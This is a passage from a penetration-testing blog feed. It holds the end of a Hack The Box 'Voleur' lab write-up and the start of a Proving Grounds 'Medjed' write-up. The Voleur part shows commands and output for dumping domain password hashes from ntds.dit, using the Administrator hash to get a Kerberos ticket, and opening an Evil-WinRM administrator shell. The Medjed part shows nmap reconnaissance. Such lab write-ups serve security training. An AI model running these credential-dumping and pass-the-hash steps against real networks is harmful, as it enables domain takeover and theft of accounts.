.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<h3 id="hash-dump">Hash Dump:</h3>

<p><code class="language-plaintext highlighter-rouge">ntds.dit</code> is Active Directory’s database file. It contains all the important things for the domain, including the hashes for all domain users. Similar to what I’ve done in <a href="/cicada#extracting-admin-hash">Cicada</a>, I’ll use <code class="language-plaintext highlighter-rouge">impacket-secretsdump</code> to extract the hashes. The system hive is also needed here, as it contains the boot key that’s used for decrypting <code class="language-plaintext highlighter-rouge">ntds.dit</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-secretsdump -ntds ntds.dit -system system local</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0xbbdd1a32433b87bcc9b875321b883d2d
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 898238e1ccd2ac0016a18c53f4569f40
[*] Reading and decrypting hashes from ntds.dit 
<span style="color: lightgreen;">Administrator:500:aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2:::</span>
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:d5db085d469e3181935d311b72634d77:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5aeef2c641148f9173d663be744e323c:::
voleur.htb\ryan.naylor:1103:aad3b435b51404eeaad3b435b51404ee:3988a78c5a072b0a84065a809976ef16:::
voleur.htb\marie.bryant:1104:aad3b435b51404eeaad3b435b51404ee:53978ec648d3670b1b83dd0b5052d5f8:::
voleur.htb\lacey.miller:1105:aad3b435b51404eeaad3b435b51404ee:2ecfe5b9b7e1aa2df942dc108f749dd3:::
voleur.htb\svc_ldap:1106:aad3b435b51404eeaad3b435b51404ee:0493398c124f7af8c1184f9dd80c1307:::
voleur.htb\svc_backup:1107:aad3b435b51404eeaad3b435b51404ee:f44fe33f650443235b2798c72027c573:::
voleur.htb\svc_iis:1108:aad3b435b51404eeaad3b435b51404ee:246566da92d43a35bdea2b0c18c89410:::
voleur.htb\jeremy.combs:1109:aad3b435b51404eeaad3b435b51404ee:7b4c3ae2cbd5d74b7055b7f64c0b3b4c:::
voleur.htb\svc_winrm:1601:aad3b435b51404eeaad3b435b51404ee:5d7e37717757433b4780079ee9b1d421:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:f577668d58955ab962be9a489c032f06d84f3b66cc05de37716cac917acbeebb
Administrator:aes128-cts-hmac-sha1-96:38af4c8667c90d19b286c7af861b10cc
..SNIP..
[*] Cleaning up... 
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With the hash, I’ll obtain a TGT for Administrator and get a shell via WinRM:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-getTGT -dc-ip 10.129.10.190 -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 'voleur.htb/administrator'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in administrator.ccache
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">KRB5CCNAME=administrator.ccache evil-winrm -r voleur.htb -i dc.voleur.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">voleur\administrator</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="root-flag">Root Flag:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\Administrator\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type root.txt</span>

<span class="win-output">1adcec0b************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />]]></content><author><name></name></author><category term="HTB" /><category term="Windows" /><category term="Medium" /><summary type="html"><![CDATA[_Voleur_ translates to “thief” in French, which is a fitting name for this box as it’s all about “stealing” information and secrets everywhere. It starts with finding an Excel file in SMB containing credentials for several users, one of which has permissions to restore a deleted user account. That account has access to a home directory backup containing DPAPI credentials, which kicks off a chain of lateral movement and pillaging, eventually leading to recovering an `ntds.dit` backup and dumping the admin hash.]]></summary></entry><entry><title type="html">Proving Grounds - Medjed</title><link href="https://ch3ng625.github.io//medjed" rel="alternate" type="text/html" title="Proving Grounds - Medjed" /><published>2025-08-28T00:00:00+00:00</published><updated>2025-08-28T00:00:00+00:00</updated><id>https://ch3ng625.github.io//medjed</id><content type="html" xml:base="https://ch3ng625.github.io//medjed"><![CDATA[<h2 id="summary">Summary:</h2>
<p>Recently I’ve been doing more Proving Grounds in preparation for my OSCP exam later this year. These boxes certainly have a different “flavour” than HTB ones, often containing many different applications and services running simultaneously. OffSec also loves chaining multiple applications together in an exploit chain. Finding a vulnerability in an app often does not lead to a foothold directly, but instead is used to attack or enumerate other services. Medjed is a good example of this, with the foothold exploit leveraging several seemingly unrelated web apps. While not too difficult, it’s very easy to get stuck without thorough enumeration.</p>

<hr />
<h2 id="enumeration">Enumeration:</h2>
<h3 id="nmap">Nmap:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap --min-rate 1000 -p- 192.168.200.127</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 20:27 ACST
Nmap scan report for 192.168.200.127
Host is up (0.21s latency).
Not shown: 65517 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
3306/tcp  open  mysql
5040/tcp  open  unknown
7680/tcp  open  pando-pub
8000/tcp  open  http-alt
30021/tcp open  unknown
33033/tcp open  unknown
44330/tcp open  unknown
45332/tcp open  unknown
45443/tcp open  unknown
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 70.63 seconds
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/medjed</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">sudo nmap -A -p 135,139,445,3306,5040,7680,8000,30021,33033,44330,45332,45443,49664-49669 192.168.200.127</span>
<span class="cmd-output">
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-26 20:30 ACST
Nmap scan report for 192.168.200.127
Host is up (0.21s latency).

PORT      STATE  SERVICE       VERSION
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
3306/tcp  open   mysql         MariaDB 10.3.24 or later (unauthorized)
5040/tcp  open   unknown
7680/tcp  closed pando-pub
8000/tcp  open   http-alt      BarracudaServer.com (Windows)
|_http-title: Home
| http-webdav-scan: 
|   Server Type: BarracudaServer.com (Windows)
|   Allowed Methods: OPTIONS, GET, HEAD, PROPFIND, PUT, COPY, DELETE, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK
|   WebDAV type: Unknown
|_  Server Date: Tue, 26 Aug 2025 11:03:07 GMT
|_http-server-header: BarracudaServer.com (Windows)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
| fingerprint-strings: 
|   FourOhFourRequest, Socks5: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:20 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   GenericLines, GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:14 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:26 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|   SIPOptions: 
|     HTTP/1.1 400 Bad Request
|     Date: Tue, 26 Aug 2025 11:01:32 GMT
|     Server: BarracudaServer.com (Windows)
|     Connection: Close
|     Content-Type: text/html
|     Cache-Control: no-store, no-cache, must-revalidate, max-age=0
|_    &lt;html&gt;&lt;body&gt;&lt;h1&gt;400 Bad Request&lt;/h1&gt;Can&#39;t parse request&lt;p&gt;BarracudaServer.com (Windows)&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;
| http-methods: 
|_  Potentially risky methods: PROPFIND PUT COPY DELETE MOVE MKCOL PROPPATCH LOCK UNLOCK
30021/tcp open   ftp           FileZilla ftpd 0.9.41 beta
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -r--r--r-- 1 ftp ftp            536 Nov 03  2020 .gitignore
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 app
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 bin
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 config
| -r--r--r-- 1 ftp ftp            130 Nov 03  2020 config.ru
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 db
| -r--r--r-- 1 ftp ftp           1750 Nov 03  2020 Gemfile
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 lib
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 log
| -r--r--r-- 1 ftp ftp             66 Nov 03  2020 package.json
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 public
| -r--r--r-- 1 ftp ftp            227 Nov 03  2020 Rakefile
| -r--r--r-- 1 ftp ftp            374 Nov 03  2020 README.md
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 test
| drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 tmp
|_drwxr-xr-x 1 ftp ftp              0 Nov 03  2020 vendor
|_ftp-bounce: bounce working!
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
33033/tcp open   unknown
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 403 Forbidden
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 3102
|     &lt;!DOCTYPE html&gt;
|     &lt;html lang=&quot;en&quot;&gt;
|     &lt;head&gt;
|     &lt;meta charset=&quot;utf-8&quot; /&gt;
|     &lt;title&gt;Action Controller: Exception caught&lt;/title&gt;
|     &lt;style&gt;
|     body {
|     background-color: #FAFAFA;
|     color: #333;
|     margin: 0px;
|     body, p, ol, ul, td {
|     font-family: helvetica, verdana, arial, sans-serif;
|     font-size: 13px;
|     line-height: 18px;
|     font-size: 11px;
|     white-space: pre-wrap;
|     pre.box {
|     border: 1px solid #EEE;
|     padding: 10px;
|     margin: 0px;
|     width: 958px;
|     header {
|     color: #F0F0F0;
|     background: #C52F24;
|     padding: 0.5em 1.5em;
|     margin: 0.2em 0;
|     line-height: 1.1em;
|     font-size: 2em;
|     color: #C52F24;
|     line-height: 25px;
|     .details {
|_    bord
44330/tcp open   ssl/unknown
|_ssl-date: 2025-08-26T11:03:39+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=server demo 1024 bits/organizationName=Real Time Logic/stateOrProvinceName=CA/countryName=US
| Not valid before: 2009-08-27T14:40:47
|_Not valid after:  2019-08-25T14:40:47
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Date: Tue, 26 Aug 2025 11:00:30 GMT
|     Server: BarracudaServer.com (Windows)
|_    Connection: Close
45332/tcp open   http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
45443/tcp open   http          Apache httpd 2.4.46 ((Win64) OpenSSL/1.1.1g PHP/7.3.23)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Quiz App
|_http-server-header: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.3.23
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
&lt;..SNIP..&gt;
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=8/26%OT=135%CT=7680%CU=35923%PV=Y%DS=4%DC=T%G=Y%TM=68A
OS:D948E%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=105%TI=I%CI=I%TS=U)SEQ(
OS:SP=103%GCD=1%ISR=10C%TI=I%CI=I%TS=U)SEQ(SP=105%GCD=1%ISR=10B%TI=I%CI=I%T
OS:S=U)SEQ(SP=106%GCD=1%ISR=10B%TI=I%CI=I%TS=U)SEQ(SP=FE%GCD=1%ISR=10F%TI=I
